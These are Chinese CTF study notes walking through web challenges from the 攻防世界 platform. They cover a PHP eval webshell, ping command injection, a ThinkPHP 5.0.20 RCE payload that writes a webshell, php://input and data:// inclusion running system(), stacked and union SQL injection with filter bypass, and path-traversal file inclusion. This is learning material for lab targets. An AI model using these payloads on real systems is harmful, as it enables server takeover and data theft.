CTF题目学习记录

以下题目均来源于攻防世界,解析部分来源于攻防世界网站的write up,部分为自己总结
题目1
小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。

webshell
[目标]
了解php一句话木马、如何使用webshell

[环境]
windows

[工具]
firefox、hackbar、CKnife

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将
其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服
务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后
门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,"web"的含义是显然需要服务器开放web服务,"shell"的含义是取得对服务器某
种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操
作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
首先新建一个index.php文件,把PHP代码输入到里面,电脑可能会自动识别它为病毒,并
删除,可以恢复后使用

打开菜刀工具,右击添加shell,把对应的地址填入,后面的写POST出的值shell,点击添加

双击该地址,打开后连接成功,发现一个flag.txt,打开得到flag

cyberpeace{7a46fa0e927a131e935f1830991b4349}

题目2
小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

command_execution
[原理]
| 的作用为将前一个命令的结果传递给后一个命令作为输入

&&的作用是前一条命令执行成功时,才执行后一条命令

[目地]
掌握命令拼接的方法

[环境]
windows

[工具]
firefox

[步骤]
1.打开浏览器,在文本框内输入127.0.0.1 | find / -name “flag.txt” (将 | 替换成 & 或 && 都可以),查找flag所在位置,如图所示。

2.在文本框内输入 127.0.0.1 | cat /home/flag.txt 可得到flag,如图所示。

相关知识:
WEB命令注入
参考网址:https://blog.csdn.net/weixin_45844670/article/details/108195753
题目3
小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )

随机在线场景:http://220.249.52.133:35787

阅读代码,逐步整理。

整理 JS 代码得到:

function dechiffre(pass_enc) {
var pass = “70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65”;
var tab = pass_enc.split(’,’);
var tab2 = pass.split(’,’);
var i, j, k, l = 0, m, n, o, p = “”;
i = 0;
j = tab.length;
k = j + (l) + (n = 0);
n = tab2.length;
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l];
p += String.fromCharCode((o = tab2[i]));
if (i == 5) break;
}
for (i = (o = 0); i < (k = j = n); i++) {
o = tab[i - l];
if (i > 5 && i < k - 1) p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
去除无用变量得到:

function dechiffre() {
var pass = “70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65”;
var tab2 = pass.split(’,’);
var i, n, p = “”;
n = tab2.length;
for (i = 0; i < n; i++) {
p += String.fromCharCode(tab2[i]);
if (i == 5) break;
}
for (i = 0; i < n; i++) {
if (i > 5 && i < n - 1) p += String.fromCharCode(tab2[i]);
}
p += String.fromCharCode(tab2[17]);
return p;
}
合并两个循环得到:

function dechiffre() {
var pass = “70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65”;
var tab2 = pass.split(’,’);
var i;
var p = “”;
for (i = 0; i < tab2.length - 1; i++) {
p += String.fromCharCode(tab2[i]);
}
p += String.fromCharCode(tab2[17]);
return p;
}
末尾并入循环得到:

function dechiffre() {
var pass = “70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65”;
var tab2 = pass.split(’,’);
var i;
var p = “”;
for (i = 0; i < tab2.length; i++) {
p += String.fromCharCode(tab2[i]);
}
return p;
}
就逻辑上可见它只是将内容为逗号分隔的数字的字符串转成相应编码的字符串。

将代码修改,用下方的可疑字符串代替函数中的常量,得到的整个网页代码是:

JS 保存为以HTML后缀的文件再用浏览器打开即可见结果。

题目4
想想初始页面是哪个

baby_web
【实验原理】
web请求头中的location作用

【实验目的】
掌握web响应包头部常见参数

【实验环境】
Windows

【实验工具】
firefox

【实验步骤】
1.根据提示,在url中输入index.php,发现打开的仍然还是1.php

2.打开火狐浏览器的开发者模式,选择网络模块,再次请求index.php,查看返回包,可以看到location参数被设置了1.php,并且得到flag。

题目3
有关robots协议练习

WeChall: Training:Get Resouces
【原理】
robots.txt

【目的】
学习robots.txt

【环境】
windows

【工具】
浏览器

【步骤】
输入/robots.txt

然后打开fl0g.php就可以看到flag:wWwrobots

【总结】
robots.txt是一种君子协议

题目4
有关某php网站漏洞的问题

这是一个 thinkphp 框架,先查看版本号。在网址上随意输入一个不存在的模块地址:

可以看到,thinkphp 版本为 5.0.20,正好是去年爆出的 thinkphp rce 漏洞的版本。漏 洞 成 因 具 体 可 以 看 该 博 客 : https://www.cnblogs.com/backlion/p/10106676.html
既 然 知 道 了 怎 么 利 用 , 就 直 接 上 payload: s=index/think\app/invokefunction&function=call_user_func_array&vars[0]= phpinfo &vars[1][]=1

成 功 执 行 命 令 , 接 下 来 直 接 写 入 shell: s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_p ut_contents&vars[1][]=test.php&vars[1][]=<?php

highlight_file( FILE );@eval($_POST[sss]);?>

如果成功写入会返回文件的大小,尝试去访问该文件:

成功写入 shell,直接上CKnife:

题目5
web_php_include

打开的随机生成页面如下图

然后利用火狐中的HackBar插件URL框中输入 http://220.249.52.133:47136/?page=PhP://input(前半部为随机生成的该页面的URL),然后再postdata框中输入<?php system("ls")?>,然后得到下图

然后将页面中显示出来的“fl4gisisish3r3.php”添加到<?php system("cat")?>的cat后面,得到<?php system("cat fl4gisisish3r3.php")?>,然后将上述代码进行base64编码加密得到PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==,然后将该编码添加到http://220.249.52.133:47136//?page=data://text/plain//;base64,后,得到如下图


然后点击右键,查看该网页源代码得到如下图flag

题目6
supersqli

①打开题目中随机给出的环境,可以得到如下页面

②通过在文本框中输入不同的数字可以得到不同的页面,但是只有在输入1和2之后页面信息有所显示,这说明该网页的sql语句只有表一和表二有有写数据,所以可以在hackbar的url框中写入http://220.249.52.133:47665/?inject=-1’;show tables --+然后运行,查询表信息,效果如下图

③由上图可以看出,一共有两个表,并且表名也已显示出来,然后分别对这两个表进行查询操作


④由上述两图可知,flag只在第一张图中存在,所以在第一张表中查询有关flag的信息,在http://220.249.52.133:47665/?inject=-1’;后面添加set @sql = CONCAT(‘sele’,‘ct * from 1919810931114514;’);prepare aaa from @sql;EXECUTE aaa;#,由于这里select被过滤了,所以我们必须得绕过这个过滤,我们可以通过预编译的方式绕过,通过该语句的查询可以得到如下效果图

⑤但是由上图可以看出,prepare和set同样被过滤了,我们可以通过对这两个关键词进行大小写修改的方式绕过,例如set修改为SeT,prepare修改为prePaRe最终得到flag,效果如下图

题目7
ics-06

题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
①打开题目所给的随机环境可看到如下页面

②然后根据题目描述可知,数据都被删除了,所以点击左侧大数据下面的两个选项,点击后可知,只有第一个选项可以跳到其他网页:

③然后利用burpsuite进行抓包拦截,得到如下信息

④将这些信息复制,右键点击这个选项

⑤点击start attack开始进攻

⑥最后可以在这里得到flag的结果

题目8
warm up

本题目解析由iZer_0原创
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_42016346/article/details/104199710

打开题目所给的随机环境后只有一个滑稽??(那就看看它里面有啥吧)

想啥呢,是审查源码啦

可以看到有注释source.php,访问后可以看到其源码

又发现一个hint.php文件,先访问再说

提示我们flag在ffffllllaaaagggg里面,此时题目已经完成一半啦

接着看回source.php源码

可以看到最后的include 是可以动态构造参数的,那应该就是解题关键了

不过要经过三个判断

第一个:检查一个变量是否为空

第二个:是否为字符串

第三个:通过函数来检查

我们要构造的payload本身就满足前两点所以无视

重要是第三点的这个函数

函数作用是分三步检查传进来的参数是否满足白名单:

$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];

第一步:

只要我们传的参数是source.php或者hint.php则返回真

如果不满足继续往下判断

第二步:

取传进参数首次出现?前的部分

再进行白名单判断

如果还不满足继续往下判断

第三步:

先把传进的参数做urldecode

接着就和第二步一样

都不满足就输出"you can’t see it"并且返回假

要想满足这些条件那我们传的参数就只能是这种形式

($_REQUEST 是通过 GET,POST 和 COOKIE 输入机制来传递参数,下面偷懒就用get方式传值)

http://111.198.29.45:48818/source.php?file=source.php?(payload)

http://111.198.29.45:48818/source.php?file=hint.php?(payload)

上面这种形式就符合函数的第二个判断

如果闲着无聊也可以满足第三种,就是双重url编码,传过去的时候会自动解码一次,再加上函数的一次就会满足条件

http://111.198.29.45:48818/source.php?file=source.php%253f(%253f就是?的两次url编码)

http://111.198.29.45:48818/source.php?file=hint.php%253f

符合条件后include得到得值就变成:

include source.php?(payload)

因为source.php?(或hint.php?)是固定不能改的,那么我们能利用的漏洞只有本地文件包含了

(本人技术比较菜也只能想出这种了,如果还有别的方法还望大佬们赐教)

flag文件名也知道了就差路径不知道,一个一个试可以得到

source.php(或hint.php)?/…/…/…/…/…/…/ffffllllaaaagggg

ok!flag get√

可能会有疑问为啥include source.php(或hint.php)?/…/…/…/…/…/…/ffffllllaaaagggg能执行成功

看官方对include的定义

因为我们的参数是有/…/…/…/…/…/…/这样的路径所以符合最后一段话如果定义了路径,就会忽略/前的字符串而去找/…/…/…/…/…/…/ffffllllaaaagggg这个文件

题目9
题目描述:如题目环境报错,稍等片刻刷新即可

①首先打开题目提供的随机环境可以看到网站如下页面

②很明显,这是一个有关sql注入的题目,可以通过sqlmap工具进行注入,或者通过手动强行注入,获取flag,首先在文本框中输入如下内容后按回车可得:

③然后通过输入’ and 0 union select 1,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS #后,可得

④然后翻到最下面可以看到secret_table这个表,这便是我们需要查询的表,然后输入’ and 0 union select 1,column_schema,data_type from information_schema.columns where table_name=“secret_table”#可得如下页面:

⑤我们可以看到flag就在fl4g中,输入’ and 0 union select 1,2,fl4g from secret_table可以看到如下页面:

最后得到flag

CTF题目学习记录2相关推荐

  1. [VNCTF 2021]Ez_game-JS类题目学习记录

    [VNCTF 2021]Ez_game-JS类题目学习记录 之前没咋做过js的题,也没写过js项目,但还是能简单看懂一些js代码,基础有点薄弱,所以记录下这次的做题. 这就是游戏的开始叭,你有一个回旋 ...

  2. 从一道CTF题目学习Tanner图和LDPC

    概述   Tanner图是由Mr Tanner在1981在论文中提出来的,是研究低密度校验码的重要工具.   Tanner图表示的是 LDPC 的校验矩阵.Tanner图中的循环是由图中的一群相互连接 ...

  3. CTF之web学习记录 -- 命令注入

    命令注入 概述 常见攻击方式 使用管道符号 escapeshellarg和escapeshellcmd 无参RCE 模板注入 命令执行漏洞修复 总结 概述   web服务器后端代码有时会调用一些执行系 ...

  4. 2021年3月7日之前学习记录

    学习记录 每日任务有两项:做题和总结当天所学知识.做题由简单到困难,刷题顺序是PAT->蓝桥杯->牛客->力扣->PAT··· 写博客进行自我监督 day 4,5,6 × 反思 ...

  5. ctf xor题_从一道CTF题目谈PHP中的命令执行

    原创 Xenny 合天智汇 快睡的时候,打开B站发现有位用户留言,大意就是让我帮忙看一道题,正好当时有空,于是就打开了他发的链接,代码如下 很明显是一道PHP代码审计的题目,而且只需要绕过第三行的if ...

  6. [网络安全自学篇] 三十一.文件上传之Upload-labs靶场及CTF题目01-10(四)

    这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了编辑器漏洞和IIS高版本文件上传漏洞,包括FCKeditor.eWeb ...

  7. 不平等博弈问题学习记录(一)(超实数篇)

    前言 听到博弈问题,第一个想到的想必是用SG函数做的博弈题,就比如Nim游戏 Nim游戏: 有N堆石子,每次选一堆石子,拿走若干石子(不能不取),先不能取的人输 定义个SG函数 对于SG函数,大致就记 ...

  8. MySQL学习记录 (二) ----- SQL数据查询语句(DQL)

    相关文章: <MySQL学习记录 (一) ----- 有关数据库的基本概念和MySQL常用命令> <MySQL学习记录 (二) ----- SQL数据查询语句(DQL)> &l ...

  9. 20210501:字符串与哈希表力扣专题学习记录

    字符串与哈希表力扣专题学习记录 题目 思路与算法 代码实现 写在最后 题目 字母异位词分组 无重复字符的最长子串 重复的DNA序列 最小覆盖子串 思路与算法 字母异位词分组 : 按照字母序排序后再映射 ...

  10. Unity学习记录——模型与动画

    Unity学习记录--模型与动画 前言 ​ 本文是中山大学软件工程学院2020级3d游戏编程与设计的作业7 编程题:智能巡逻兵 1.学习参考 ​ 除去老师在课堂上讲的内容,本次作业代码与操作主要参考了 ...

最新文章

  1. mysql 表空间监控shell_一种通过zabbix监控mysql表空间的方法
  2. 四大运营商的5G部署路线一览
  3. IntelliJ IDEA 的 .idea 目录加入.gitignore无效的解决方法
  4. 邵阳计算机专业哪家最好,邵阳学院专业排名 最好的专业有哪些
  5. 创新实训个人记录:metric k-center
  6. 在WPS中提取出的照片在哪找_WPS技巧 | 找不到合适的配图?教你一招搞定
  7. SpringSecurity案例之认证服务搭建
  8. docker 搭建nginx php mysql_Docker搭建PHP/Nginx/MySQL/Composer环境
  9. Java开发者为最急需IT技术人才
  10. berkeley db java edition 源码,Berkeley DB Java Edition
  11. MySQL高级知识(四)——Explain
  12. windows服务与前台交互
  13. socket 关于同一条TCP链接数据包到达顺序的问题
  14. Java一个月学到springboot_从零开始学SpringBoot如何开始使用图文详解
  15. 如何利用魔棒工具抠图_PS怎么用魔棒工具扣图
  16. 江苏计算机编程中小学,编程教育走进小学低年级
  17. matplotlib.pyplot 绘制图中图
  18. Python实例3:中文词语统计
  19. baseservlet怎么写_BaseServlet
  20. 必知必会MYSQL下篇

热门文章

  1. arduino教程【实战篇】
  2. win10很多软件显示模糊_Windows 10系统中屏幕字体变模糊,用这3个方法快速解决!...
  3. c# .net PayPal支付验证
  4. 微处理器内部结构(寄存器)
  5. 腐蚀rust服务器命令_腐蚀RUST基本指令及服务器指令大全
  6. 傻瓜式安装卸载office
  7. 双电阻差分电流采样_运放-输入偏置电流与输入失调电流
  8. 如何直观形象的理解方向导数与梯度以及它们之间的关系?
  9. 旋律生成算法的现状与挑战
  10. linux ps命令详细解读